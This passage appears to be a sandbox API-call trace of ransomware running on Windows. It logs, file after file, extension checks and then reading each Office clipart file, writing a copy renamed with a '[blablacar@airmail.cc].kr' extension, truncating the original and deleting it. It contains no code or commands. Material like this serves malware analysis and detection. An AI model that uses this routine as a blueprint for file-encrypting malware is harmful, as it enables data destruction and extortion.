[0186.935] lstrlenW (lpString=".rar") returned 4 [0186.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.935] lstrlenW (lpString=".bz2") returned 4 [0186.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.935] lstrlenW (lpString=".7z") returned 3 [0186.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0186.935] lstrlenW (lpString=".dbf") returned 4 [0186.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0186.935] lstrlenW (lpString=".1cd") returned 4 [0186.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0186.935] lstrlenW (lpString=".jpg") returned 4 [0186.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.935] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.935] lstrlenW (lpString="DD01151_.WMF") returned 12 [0186.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0186.936] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2960) returned 1 [0186.936] CloseHandle (hObject=0x410) returned 1 [0186.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220 [0186.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0186.937] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.937] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0186.937] GetLastError () returned 0x0 [0186.937] ReadFile (in: hFile=0x410, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xb90, lpOverlapped=0x0) returned 1 [0186.939] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xba0, lpOverlapped=0x0) returned 1 [0186.940] ReadFile (in: hFile=0x410, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.940] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.940] SetEndOfFile (hFile=0x544) returned 1 [0186.940] CloseHandle (hObject=0x544) returned 1 [0186.940] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.940] SetEndOfFile (hFile=0x410) returned 1 [0186.943] CloseHandle (hObject=0x410) returned 1 [0186.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0186.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0186.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0186.945] lstrlenW (lpString=".doc") returned 4 [0186.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.945] lstrlenW (lpString=".docx") returned 5 [0186.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.945] lstrlenW (lpString=".pdf") returned 4 [0186.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.945] lstrlenW (lpString=".xls") returned 4 [0186.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.946] lstrlenW (lpString=".xlsx") returned 5 [0186.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.946] lstrlenW (lpString=".ppt") returned 4 [0186.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0186.946] lstrlenW (lpString=".zip") returned 4 [0186.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.946] lstrlenW (lpString=".rar") returned 4 [0186.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.946] lstrlenW (lpString=".bz2") returned 4 [0186.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.946] lstrlenW (lpString=".7z") returned 3 [0186.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0186.946] lstrlenW (lpString=".dbf") returned 4 [0186.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0186.946] lstrlenW (lpString=".1cd") returned 4 [0186.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0186.946] lstrlenW (lpString=".jpg") returned 4 [0186.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0186.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0186.946] lstrlenW (lpString=".doc") returned 4 [0186.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.946] lstrlenW (lpString=".docx") returned 5 [0186.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.946] lstrlenW (lpString=".pdf") returned 4 [0186.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.947] lstrlenW (lpString=".xls") returned 4 [0186.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.947] lstrlenW (lpString=".xlsx") returned 5 [0186.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.947] lstrlenW (lpString=".ppt") returned 4 [0186.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0186.947] lstrlenW (lpString=".zip") returned 4 [0186.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.947] lstrlenW (lpString=".rar") returned 4 [0186.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.947] lstrlenW (lpString=".bz2") returned 4 [0186.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.947] lstrlenW (lpString=".7z") returned 3 [0186.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0186.947] lstrlenW (lpString=".dbf") returned 4 [0186.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0186.947] lstrlenW (lpString=".1cd") returned 4 [0186.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0186.947] lstrlenW (lpString=".jpg") returned 4 [0186.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.947] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.947] lstrlenW (lpString="DD01152_.WMF") returned 12 [0186.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0186.948] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2960) returned 1 [0186.948] CloseHandle (hObject=0x410) returned 1 [0186.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220 [0186.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0186.949] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.949] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0186.949] GetLastError () returned 0x0 [0186.949] ReadFile (in: hFile=0x410, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xb90, lpOverlapped=0x0) returned 1 [0186.954] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xba0, lpOverlapped=0x0) returned 1 [0186.955] ReadFile (in: hFile=0x410, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.955] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.955] SetEndOfFile (hFile=0x544) returned 1 [0186.955] CloseHandle (hObject=0x544) returned 1 [0186.955] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.955] SetEndOfFile (hFile=0x410) returned 1 [0186.957] CloseHandle (hObject=0x410) returned 1 [0186.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0186.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0186.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0186.959] lstrlenW (lpString=".doc") returned 4 [0186.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.959] lstrlenW (lpString=".docx") returned 5 [0186.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.959] lstrlenW (lpString=".pdf") returned 4 [0186.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.959] lstrlenW (lpString=".xls") returned 4 [0186.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.959] lstrlenW (lpString=".xlsx") returned 5 [0186.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.959] lstrlenW (lpString=".ppt") returned 4 [0186.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0186.959] lstrlenW (lpString=".zip") returned 4 [0186.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.959] lstrlenW (lpString=".rar") returned 4 [0186.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.959] lstrlenW (lpString=".bz2") returned 4 [0186.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.959] lstrlenW (lpString=".7z") returned 3 [0186.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0186.959] lstrlenW (lpString=".dbf") returned 4 [0186.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0186.959] lstrlenW (lpString=".1cd") returned 4 [0186.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0186.960] lstrlenW (lpString=".jpg") returned 4 [0186.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0186.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0186.960] lstrlenW (lpString=".doc") returned 4 [0186.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.960] lstrlenW (lpString=".docx") returned 5 [0186.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.960] lstrlenW (lpString=".pdf") returned 4 [0186.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.960] lstrlenW (lpString=".xls") returned 4 [0186.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.960] lstrlenW (lpString=".xlsx") returned 5 [0186.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.960] lstrlenW (lpString=".ppt") returned 4 [0186.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0186.960] lstrlenW (lpString=".zip") returned 4 [0186.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.960] lstrlenW (lpString=".rar") returned 4 [0186.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.960] lstrlenW (lpString=".bz2") returned 4 [0186.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.960] lstrlenW (lpString=".7z") returned 3 [0186.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0186.960] lstrlenW (lpString=".dbf") returned 4 [0186.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0186.960] lstrlenW (lpString=".1cd") returned 4 [0186.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0186.961] lstrlenW (lpString=".jpg") returned 4 [0186.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.961] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.961] lstrlenW (lpString="DD01157_.WMF") returned 12 [0186.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0186.961] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=3588) returned 1 [0186.961] CloseHandle (hObject=0x410) returned 1 [0186.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220 [0186.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0186.962] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.962] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0186.963] GetLastError () returned 0x0 [0186.963] ReadFile (in: hFile=0x410, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xe04, lpOverlapped=0x0) returned 1 [0186.968] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xe10, lpOverlapped=0x0) returned 1 [0186.969] ReadFile (in: hFile=0x410, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.969] WriteFile (in: hFile=0x544, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.969] SetEndOfFile (hFile=0x544) returned 1 [0186.969] CloseHandle (hObject=0x544) returned 1 [0186.969] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.969] SetEndOfFile (hFile=0x410) returned 1 [0187.310] CloseHandle (hObject=0x410) returned 1 [0187.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0188.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0188.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0188.652] lstrlenW (lpString=".doc") returned 4 [0188.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.652] lstrlenW (lpString=".docx") returned 5 [0188.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.652] lstrlenW (lpString=".pdf") returned 4 [0188.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.652] lstrlenW (lpString=".xls") returned 4 [0188.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.652] lstrlenW (lpString=".xlsx") returned 5 [0188.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.653] lstrlenW (lpString=".ppt") returned 4 [0188.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0188.653] lstrlenW (lpString=".zip") returned 4 [0188.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.653] lstrlenW (lpString=".rar") returned 4 [0188.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.653] lstrlenW (lpString=".bz2") returned 4 [0188.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.653] lstrlenW (lpString=".7z") returned 3 [0188.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0188.653] lstrlenW (lpString=".dbf") returned 4 [0188.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0188.653] lstrlenW (lpString=".1cd") returned 4 [0188.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0188.653] lstrlenW (lpString=".jpg") returned 4 [0188.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0188.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0188.653] lstrlenW (lpString=".doc") returned 4 [0188.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.654] lstrlenW (lpString=".docx") returned 5 [0188.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.654] lstrlenW (lpString=".pdf") returned 4 [0188.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.654] lstrlenW (lpString=".xls") returned 4 [0188.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.654] lstrlenW (lpString=".xlsx") returned 5 [0188.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.654] lstrlenW (lpString=".ppt") returned 4 [0188.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0188.654] lstrlenW (lpString=".zip") returned 4 [0188.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.654] lstrlenW (lpString=".rar") returned 4 [0188.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.654] lstrlenW (lpString=".bz2") returned 4 [0188.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.654] lstrlenW (lpString=".7z") returned 3 [0188.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0188.654] lstrlenW (lpString=".dbf") returned 4 [0188.654] lstrcmpiW 